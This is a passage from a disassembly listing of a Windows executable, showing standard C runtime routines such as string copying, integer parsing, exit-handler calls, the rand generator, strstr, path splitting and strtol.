arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBB4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9A8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBB4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9A8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A94C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB970, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27005C6h
		push	eax
		nop
		call	near ptr 26F0B2Dh


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB96C, edi
		mov	byte_4DB968, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFDC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFD8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFDC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB970, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A930, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A930
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A930, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEA1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBB4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9A8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBB4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9A8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBB4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9A8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
